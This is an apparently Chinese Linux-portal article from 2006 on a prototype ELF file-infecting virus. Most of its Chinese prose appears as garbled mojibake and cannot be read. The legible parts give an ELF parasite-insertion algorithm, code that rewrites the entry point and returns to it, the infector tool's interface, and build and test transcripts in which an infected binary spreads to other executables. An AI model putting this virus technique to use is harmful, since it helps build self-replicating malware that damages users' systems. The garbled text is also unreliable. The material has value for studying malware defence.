ºìÁªLinuxÃÅ»§
Linux°ïÖú

¹ØÓÚLinuxϲ¡¶¾Ô­Ð͵ķÖÎö

·¢²¼Ê±¼ä:2006-12-25 10:29:33À´Ô´:ºìÁª×÷Õß:ckernel
¡¡¡¡Ò»¡¢ ½éÉÜ

¡¡¡¡Ð´ÕâƪÎÄÕµÄÄ¿µÄÖ÷ÒªÊǶÔ×î½üдµÄÒ»¸öLinux²¡¶¾Ô­ÐÍ´úÂë×öÒ»¸ö×ܽᣬͬʱÏò¶ÔÕâ·½ÃæÓÐÐËȤµÄÅóÓÑ×öÒ»¸ö¼òµ¥µÄ½éÉÜ¡£ÔĶÁÕâƪÎÄÕÂÄãÐèҪһЩ֪ʶ£¬Òª¶ÔELFÓÐËùÁ˽⡢Äܹ»ÔĶÁһЩǶÈëÁË»ã±àµÄC´úÂë¡¢Á˽ⲡ¶¾µÄ»ù±¾¹¤×÷Ô­Àí¡£

¡¡¡¡¶þ¡¢ ELF Infector (ELFÎļþ¸ÐȾÆ÷)

¡¡¡¡ÎªÁËÖÆ×÷²¡¶¾Îļþ£¬ÎÒÃÇÐèÒªÒ»¸öELFÎļþ¸ÐȾÆ÷£¬ÓÃÓÚÖÆÔìµÚÒ»¸ö´ø¶¾Îļþ¡£¶ÔÓÚELFÎļþ¸ÐȾ¼¼Êõ£¬ÔÚSilvio CesareµÄ¡¶UNIX ELF PARASITES AND VIRUS¡·Ò»ÎÄÖÐÒѾ­ÓÐÁËÒ»¸ö·Ç³£ºÃµÄ·ÖÎö¡¢ÃèÊö£¬ÔÚÕâ·½ÃæÎÒ»¹Ã»Óз¢ÏÖ¿ÉÒÔ¶ÔÆä½øÐв¹³äµÄµØ·½£¬Òò´ËÔÚÕâÀïÎÒ°ÑSilvio Cesare¶ÔELF Infection¹ý³ÌµÄ×ܽáÌù³öÀ´£¬ÒÔ¹©²Î¿¼£º
¡¡¡¡
ÒýÓÃ:
¡¡¡¡The final algorithm is using this information is.
¡¡¡¡* Increase p_shoff by PAGE_SIZE in the ELF header
¡¡¡¡* Patch the insertion code (parasite) to jump to the entry point
¡¡¡¡(original)
¡¡¡¡* Locate the text segment program header
¡¡¡¡* Modify the entry point of the ELF header to point to the new
¡¡¡¡code (p_vaddr + p_filesz)
¡¡¡¡* Increase p_filesz by account for the new code (parasite)
¡¡¡¡* Increase p_memsz to account for the new code (parasite)
¡¡¡¡* For each phdr who's segment is after the insertion (text segment)
¡¡¡¡* increase p_offset by PAGE_SIZE
¡¡¡¡* For the last shdr in the text segment
¡¡¡¡* increase sh_len by the parasite length
¡¡¡¡* For each shdr who's section resides after the insertion
¡¡¡¡* Increase sh_offset by PAGE_SIZE
¡¡¡¡* Physically insert the new code (parasite) and pad to PAGE_SIZE, into
¡¡¡¡the file - text segment p_offset + p_filesz (original)


¡¡¡¡ÔÚLinux²¡¶¾Ô­ÐÍÖÐËùʹÓõÄgei - ELF Infector¼´ÊǸù¾ÝÕâ¸öÔ­ÀíдµÄ¡£ÔÚ¸½Â¼ÖÐÄã¿ÉÒÔ¿´µ½Õâ¸ö¸ÐȾ¹¤¾ßµÄÔ´´úÂë: g-elf-infector.cg-elf-infectorÓ벡¶¾ÊǶÀÁ¢¿ªµÄ£¬ÆäÖ»ÔÚÖÆ×÷µÚÒ»¸ö²¡¶¾Îļþʱ±»Ê¹Óá£ÎÒ¼òµ¥½éÉÜÒ»ÏÂËüµÄʹÓ÷½·¨£¬g-elf-infector.c¿ÉÒÔ±»ÓÃÓÚÈκÎÏ£Íû--½«¶þ½øÖÆ´úÂë²åÈëµ½Ö¸¶¨ÎļþµÄÎı¾¶Î£¬²¢ÔÚÄ¿±êÎļþÖ´ÐÐʱÊ×Ïȱ»Ö´ÐÐ--µÄÓÃ;ÉÏ¡£g-elf-infector.cµÄ½Ó¿ÚºÜ¼òµ¥£¬ÄãÖ»ÐèÒªÌṩÒÔÏÂÈý¸ö¶¨Ò壺

¡¡¡¡* ´æ·ÅÄãµÄ¶þ½øÖÆ´úÂë·µ»ØµØÖ·µÄµØÖ·£¬ÕâÀïÐèÒªµÄÊÇÕâ¸öµØÖ·Óë´úÂëÆðʼµØÖ·µÄÆ«ÒÆ£¬ÓÃÓÚ·µ»Øµ½Ä¿±ê³ÌÐòµÄÕý³£Èë¿Ú£º
¡¡¡¡
¡¡¡¡#define PARACODE_RETADDR_ADDR_OFFSET 1232

¡¡¡¡* Òª²åÈëµÄ¶þ½øÖÆ´úÂ루ÓÉÓÚÓÃC±àд£¬ËùÒÔÕâÀïÐèÒªÒÔÒ»¸öº¯ÊýµÄ·½Ê½Ìṩ£©£º

¡¡¡¡void parasite_code(void);
¡¡
¡¡¡¡* ¶þ½øÖÆ´úÂëµÄ½áÊø£¨ÎªÁËÒ×Óã¬ÕâÀïÓÃÒ»¸ö½áβº¯ÊýÀ´½øÐдúÂ볤¶È¼ÆË㣩£º

ÒýÓÃ:
¡¡¡¡void parasite_code_end(void);
¡¡¡¡
¡¡¡¡parasite_code_endÓ¦¸ÃÊÇparasite_codeº¯ÊýºóµÄµÚÒ»¸öº¯Êý¶¨Ò壬ͨ³£Ó¦¸ÃÈçϱíʾ£º
¡¡¡¡void parasite_code(void)
¡¡¡¡{
¡¡¡¡...
¡¡¡¡...
¡¡¡¡...
¡¡¡¡}
¡¡¡¡void parasite_code_end(void) {}


¡¡¡¡ÔÚÕâÀï´æÔÚÒ»¸öÎÊÌ⣬¾ÍÊDZàÒëÓпÉÄÜÔÚ±àÒëʱ½«parasite_code_end·ÅÔÚparasite_codeµØÖ·µÄÇ°Ã棬ÕâÑù»áµ¼Ö¼ÆËã´úÂ볤¶Èʱʧ°Ü£¬ÎªÁ˱ÜÃâÕâ¸öÎÊÌ⣬Äã¿ÉÒÔÕâÑù×ö£º

ÒýÓÃ:
¡¡¡¡void parasite_code(void)
¡¡¡¡{
¡¡¡¡...
¡¡¡¡...
¡¡¡¡...
¡¡¡¡}
¡¡¡¡void parasite_code_end(void) {parasite_code();}


¡¡¡¡ÓÐÁËÕâÈý¸ö¶¨Ò壬g-elf-infector¾ÍÄÜÕýÈ·±àÒ룬±àÒëºó¼´¿ÉÓÃÀ´ELFÎļþ¸ÐȾ£º
¡¡
¡¡¡¡face=Verdana>
ÎÄÕÂÆÀÂÛ

¹²ÓÐ 2 ÌõÆÀÂÛ

  1. ckernel ÓÚ 2006-12-25 10:32:43·¢±í:

    ¡¡¡¡ÏÈ»ñÈ¡²¡¶¾´úÂ볤¶È£¬È»ºóµ÷Õûgvirus.cÖеÄ#define PARACODE_LENGTH¶¨Òå:

    ÒýÓÃ:
    ¡¡¡¡grip2@linux:~/tmp/virus>. /gei -l <.ÕâÀï»ñÈ¡²¡¶¾´úÂëµÄ³¤¶È
    ¡¡¡¡Parasite code length: 1744


    ¡¡¡¡»ñÈ¡²¡¶¾´úÂ뿪ʼλÖúÍ0xaabbccddµÄµØÖ·£¬¼ÆËã´æ·Å·µ»ØµØÖ·µÄµØÖ·µÄÆ«ÒÆ:

    ÒýÓÃ:
    ¡¡¡¡grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
    ¡¡¡¡8049427: 68 dd cc bb aa push $0xaabbccdd
    ¡¡¡¡grip2@linux:~/tmp/virus> objdump -d gei|grep ""
    ¡¡¡¡08048d80 :
    ¡¡¡¡8049450: e9 2b f9 ff ff jmp 8048d80
    ¡¡¡¡grip2@linux:~/tmp/virus> objdump -d gei|grep ":"
    ¡¡¡¡08048d80 :

    ¡¡
    ¡¡¡¡0x8049427Óë0x8048d80Ïà¼õ¼´»ñµÃÎÒÃÇÐèÒªµÄÆ«ÒÆ£¬ÓÃÕâ¸öÖµ¸üÐÂgvirus.hÖеÄ#define PARACODE_RETADDR_ADDR_OFFSETºêµÄÖµ¡£

    ¡¡¡¡ÖØбàÒ룺

    ÒýÓÃ:
    ¡¡¡¡grip2@linux:~/tmp/virus> make clean
    ¡¡¡¡rm *.o -rf
    ¡¡¡¡rm foo -rf
    ¡¡¡¡rm gei -rf
    ¡¡¡¡grip2@linux:~/tmp/virus> make
    ¡¡¡¡gcc foo.c -o foo
    ¡¡¡¡gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
    ¡¡¡¡gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
    ¡¡¡¡
    ¡¡¡¡grip2@linux:~/tmp/virus> ls
    ¡¡¡¡gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
    ¡¡¡¡g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h

    ¡¡
    ¡¡¡¡½¨Á¢Ò»¸ö²âÊÔĿ¼£¬²âÊÔһϣº

    ÒýÓÃ:
    ¡¡¡¡grip2@linux:~/tmp/virus> mkdir test
    ¡¡¡¡grip2@linux:~/tmp/virus> cp gei foo test
    ¡¡¡¡grip2@linux:~/tmp/virus> cd test
    ¡¡¡¡grip2@linux:~/tmp/virus/test> ls
    ¡¡¡¡gei foo
    ¡¡¡¡grip2@linux:~/tmp/virus/test> cp foo h

    ¡¡
    ¡¡¡¡ÖÆ×÷´ø¶¾³ÌÐò£º

    ÒýÓÃ:
    ¡¡¡¡grip2@linux:~/tmp/virus/test>. /gei h
    ¡¡¡¡file size: 8668
    ¡¡¡¡e_phoff: 00000034
    ¡¡¡¡e_shoff: 00001134
    ¡¡¡¡e_phentsize: 00000020
    ¡¡¡¡e_phnum: 00000008
    ¡¡¡¡e_shentsize: 00000028
    ¡¡¡¡e_shnum: 00000025
    ¡¡¡¡text segment file offset: 0
    ¡¡¡¡[15 sections patched]
    ¡¡¡¡grip2@linux:~/tmp/virus/test> ll
    ¡¡¡¡total 44
    ¡¡¡¡-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei
    ¡¡¡¡-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
    ¡¡¡¡-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo


    ¡¡¡¡ÔËÐдø¶¾³ÌÐò£º

    ÒýÓÃ:
    ¡¡¡¡grip2@linux:~/tmp/virus/test>. /h
    ¡¡¡¡.
    ¡¡¡¡..
    ¡¡¡¡gei
    ¡¡¡¡foo
    ¡¡¡¡h
    ¡¡¡¡.backup.h
    ¡¡¡¡real elf point
    ¡¡¡¡grip2@linux:~/tmp/virus/test> ll
    ¡¡¡¡total 52
    ¡¡¡¡-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
    ¡¡¡¡-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
    ¡¡¡¡-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo


    ¡¡¡¡²âÊÔÉÏÃæ´ø¶¾³ÌÐòÔËÐкó£¬ÊÇ·ñ¸ÐȾÁËÆäËûELF³ÌÐò£º

    ÒýÓÃ:
    ¡¡¡¡grip2@linux:~/tmp/virus/test>. /foo
    ¡¡¡¡.
    ¡¡¡¡..
    ¡¡¡¡gei
    ¡¡¡¡Better luck next file
    ¡¡¡¡foo
    ¡¡¡¡h
    ¡¡¡¡Better luck next file
    ¡¡¡¡.backup.h
    ¡¡¡¡Better luck next file
    ¡¡¡¡real elf point
    ¡¡¡¡
    ¡¡¡¡OK£¬³É¹¦
    ¡¡¡¡grip2@linux:~/tmp/virus/test> cp. ./foo hh
    ¡¡¡¡grip2@linux:~/tmp/virus/test> ll
    ¡¡¡¡total 64
    ¡¡¡¡-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
    ¡¡¡¡-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
    ¡¡¡¡-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh
    ¡¡¡¡-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
    ¡¡¡¡
    ¡¡¡¡grip2@linux:~/tmp/virus/test>. /foo
    ¡¡¡¡.
    ¡¡¡¡..
    ¡¡¡¡gei
    ¡¡¡¡Better luck next file
    ¡¡¡¡foo
    ¡¡¡¡h
    ¡¡¡¡Better luck next file
    ¡¡¡¡.backup.h
    ¡¡¡¡Better luck next file
    ¡¡¡¡hh
    ¡¡¡¡real elf point
    ¡¡¡¡grip2@linux:~/tmp/virus/test>


    ¡¡¡¡Áù¡¢×ܽá

    ¡¡¡¡ÓÉÓÚÎҼȲ»ÊÇÒ»¸övirus coderÒ²²»ÊÇÒ»¸öanti-viruscoder£¬ËùÒÔ¶Ô²¡¶¾¼¼ÊõµÄÕÆÎÕÓ¦¸ÃÊÇÓÐǷȱµÄ¡£Èç¹ûÔÚÎÄÕÂÖжԲ¡¶¾¼¼ÊõµÄÃèÊö²»¹»×¼È·£¬·ÖÎö²»¹»µ½Î»£¬»¹ÇëÖ¸Õý£¬Ð»Ð»¡£

  2. ckernel ÓÚ 2006-12-25 10:31:08·¢±í:

    ¡¡¡¡Èý¡¢²¡¶¾Ô­Ð͵Ť×÷¹ý³Ì

    ¡¡¡¡1 Ê×ÏÈͨ¹ýELF Infector½«²¡¶¾´úÂë¸ÐȾµ½Ò»¸öELFÎļþ£¬ÕâÑù¾Í´´ÔìÁ˵ÚÒ»¸ö´ø¶¾Îļþ£¬ºóÐøµÄ´«²¥¾ÍÓÉËüÀ´Íê³É¡£

    ¡¡¡¡2 µ±´ø¶¾Îļþ±»Ö´ÐÐʱ£¬»áÊ×ÏÈÌøµ½²¡¶¾´úÂ뿪ʼִÐС£

    ¡¡¡¡3 ²¡¶¾´úÂ뿪ʼ·¢×÷£¬ÔÚÕâ¸öÔ­ÐÍÀ²¡¶¾»áÖ±½Ó¿ªÊ¼´«²¥¡£

    ¡¡¡¡4 ²¡¶¾±éÀúµ±Ç°Ä¿Â¼ÏµÄÿһ¸öÎļþ£¬Èç¹ûÊÇ·ûºÏÌõ¼þµÄELFÎļþ¾Í¿ªÊ¼¸ÐȾ¡£

    ¡¡¡¡5 ²¡¶¾µÄ¸ÐȾ¹ý³ÌºÍELF InfectorµÄ¹ý³ÌÀàËÆ£¬µ«ÓÉÓÚ¹¤×÷»·¾³µÄ²»Í¬£¬´úÂëµÄʵÏÖÒ²ÊÇÓнϴóÇø±ðµÄ¡£

    ¡¡¡¡6 Ä¿Ç°´«È¾¶ÔELFÎļþµÄ»ù±¾ÒªÇóÊÇÎı¾¶ÎÒªÓÐÊ£Óà¿Õ¼äÄܹ»ÈÝÄɲ¡¶¾´úÂ룬Èç¹ûÎÞ·¨Âú×㣬²¡¶¾»áºöÂÔ´ËELF¡£¶ÔÓÚ±»¸ÐȾ¹ýÒ»´ÎµÄELFÎļþ£¬Îı¾¶Î½«²»»áÓÐÊ£ÓàµÄ¿Õ¼ä£¬Òò´Ë¶þ´Î¸ÐȾÊDz»»á·¢ÉúµÄ¡£

    ¡¡¡¡7 ²¡¶¾´úÂëÖ´Ðйýºó£¬»á»Ö¸´¶ÑÕ»ºÍËùÓмĴæÆ÷£¨ÕâºÜÖØÒª£©£¬È»ºóÌø»Øµ½ÕæÕýµÄ¿ÉÖ´ÐÐÎļþÈë¿Ú£¬¿ªÊ¼Õý³£µÄÔËÐйý³Ì¡£

    ¡¡¡¡ÉÏÃæ¶Ô²¡¶¾Ô­Ð͵Ť×÷¹ý³ÌµÄ½éÉÜÒ²ÐíÏÔµÃǧƪһÂÉÁË£¬ºÍÎÒÃÇÔç¾ÍÊìÖªµÄ¹ØÓÚ²¡¶¾µÄһЩ½éÉÜûÓÐʲôÇø±ð£¿Êǵģ¬µÄÈ·ÊÇÕâÑù£¬Ô­Àí¶¼ÊÇÀàËƵģ¬¹Ø¼üÊÇÒª¿´ÊµÏÖ¡£ÏÂÃæÎÒÃǾͽ«Í¨¹ý¶ÔһЩ¼¼ÊõÎÊÌâµÄ·ÖÎöÀ´Á˽â¾ßÌåµÄʵÏÖ˼·¡£

    ¡¡¡¡ËÄ¡¢¹Ø¼ü¼¼ÊõÎÊÌâ¼°´¦Àí

    ¡¡¡¡1 ELFÎļþÖ´ÐÐÁ÷³ÌÖض¨ÏòºÍ´úÂë²åÈë

    ¡¡¡¡ÔÚELFÎļþ¸ÐȾµÄÎÊÌâÉÏ£¬ELF InfectorÓ벡¶¾´«²¥Ê±µ÷ÓõÄinfect_virus˼·ÊÇÒ»ÑùµÄ£º

    ¡¡¡¡* ¶¨Î»µ½Îı¾¶Î£¬½«²¡¶¾µÄ´úÂë½Óµ½Îı¾¶ÎµÄβ²¿¡£Õâ¸ö¹ý³ÌµÄ¹Ø¼üÊÇÒªÊìϤELFÎļþµÄ¸ñʽ£¬½«²¡¶¾´úÂ븴ÖƵ½Îı¾¶Îβ²¿ºó£¬Äܹ»¸ù¾ÝÐèÒªµ÷ÕûÎı¾¶Î³¤¶È¸Ä±äËùÓ°Ïìµ½µÄºóÐø¶Î(segment)»ò½Ú(section)µÄÐéÄâµØÖ·¡£Í¬Ê±×¢Òâ°ÑÐÂÒýÈëµÄÎı¾¶Î²¿·ÖÓëÒ»¸ö.setion½¨Á¢¹ØÁª£¬·ÀÖ¹stripÕâÑùµÄ¹¤¾ß½«²åÈëµÄ´úÂëÈ¥³ý¡£»¹ÓÐÒ»µã¾ÍÊÇҪעÒâÎı¾¶ÎÔö¼Ó³¤¶ÈµÄ¶ÔÆëÎÊÌ⣬¼ûELFÎĵµÖеÄÃèÊö£º

    ÒýÓÃ:
    ¡¡¡¡p_align
    ¡¡¡¡As ``Program Loading'' later in this part describes, loadable
    ¡¡¡¡process segments must have congruent values for p_vaddr and
    ¡¡¡¡p_offset, modulo the page size.


    ¡¡¡¡* ͨ¹ý¹ý½«ELFÎļþÍ·ÖеÄÈë¿ÚµØÖ·ÐÞ¸ÄΪ²¡¶¾´úÂëµØÖ·À´Íê³É´úÂëÖض¨Ïò£º

    ÒýÓÃ:
    ¡¡¡¡/* Modify the entry point of the ELF */
    ¡¡¡¡org_entry = ehdr->e_entry;
    ¡¡¡¡ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;

    ¡¡
    ¡¡¡¡2 ²¡¶¾´úÂëÈçºÎ·µ»Øµ½ÕæÕýµÄELFÎļþÈë¿Ú

    ¡¡¡¡·½·¨¼¼ÇÉÓ¦¸ÃºÜ¶à£¬ÕâÀï²ÉÓõķ½·¨ÊÇPUSH+RET×éºÏ£º
    ¡¡
    ÒýÓÃ:
    ¡¡¡¡__asm__ volatile (
    ¡¡¡¡...
    ¡¡¡¡"return:\n\t"
    ¡¡¡¡"push $0xAABBCCDD\n\t" /* push ret_addr */
    ¡¡¡¡"ret\n"
    ¡¡¡¡::);


    ¡¡¡¡ÆäÖÐ0xAABBCCDD´¦´æ·ÅµÄÊÇÕæÕýµÄ³ÌÐòÈë¿ÚµØÖ·£¬Õâ¸öÖµÔÚ²åÈ벡¶¾´úÂëʱÓɸÐȾ³ÌÐòÀ´Ìîд¡£

    ¡¡¡¡Îå¡¢ бàÒë»·¾³Ïµĵ÷ÊÔ·½·¨
    ¡¡
    ÒýÓÃ:
    ¡¡¡¡grip2@linux:~/tmp/virus> ls
    ¡¡¡¡g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h
    foo.c Makefile parasite-sample.c parasite-sample.h

    ¡¡¡¡
    ¡¡¡¡µ÷ÕûMakefileÎļþ£¬½«±àÒëģʽ¸ÄΪµ÷ÊÔģʽ£¬¼´¹Øµô-DNDEBUGÑ¡Ïî

    ÒýÓÃ:
    ¡¡¡¡grip2@linux:~/tmp/virus> cat Makefile
    ¡¡¡¡all: foo gei
    ¡¡¡¡gei: g-elf-infector.c gvirus.o
    ¡¡¡¡gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
    ¡¡¡¡foo: foo.c
    ¡¡¡¡gcc $< -o foo
    ¡¡¡¡gvirus.o: gvirus.c
    ¡¡¡¡gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
    ¡¡¡¡clean:
    ¡¡¡¡rm *.o -rf
    ¡¡¡¡rm foo -rf
    ¡¡¡¡rm gei -rf

    ¡¡¡¡
    ¡¡¡¡±àÒë´úÂ룺

    ÒýÓÃ:
    ¡¡¡¡grip2@linux:~/tmp/virus> make
    ¡¡¡¡gcc foo.c -o foo
    ¡¡¡¡gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
    ¡¡¡¡gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG